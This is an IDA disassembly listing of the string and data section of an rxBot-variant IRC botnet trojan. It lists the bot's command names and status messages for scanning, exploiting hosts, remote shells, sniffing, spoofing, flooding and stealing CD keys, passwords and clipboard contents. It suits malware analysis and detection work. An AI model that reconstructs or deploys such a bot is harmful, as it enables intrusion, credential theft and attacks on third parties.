aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B178	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B1E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B21C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B24C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C44o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C2Co
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C4Co
		unicode	0, <n>,0
unk_42B34C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3AC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3C4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B3DC	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B424	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B44C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B450	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B45C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B464	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B4D4	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B4E8	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B4EC	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B4FC	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B500	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B504	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42B56C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B5AC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42B610	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_42B650	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B68C	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6B8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B6E4	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B6F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42B7E0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B814	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B854	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42B880	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42B8BC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B8E4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B8F4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B900	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B910	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B920	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B954	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42B9D0	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42B9E8	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA24	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA44	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA48	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA60	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BA98	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAB0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BACC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BAE8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB04	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BB40	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB64	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BB84	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBA4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBBC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BBDC	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC04	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42BC30	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC4C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42BC90	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42BCE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42BD30	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42BD6C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDA8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BDE4	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE20	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE5C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42BE90	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42BEB0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BEE8	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF24	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFA4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42BFE4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C020	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE7o
					; sub_401ACD+4FA1o
dword_42C090	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C138	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C16C	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A0	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1B4	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1B8	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1C4	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:00437F84o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C284	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
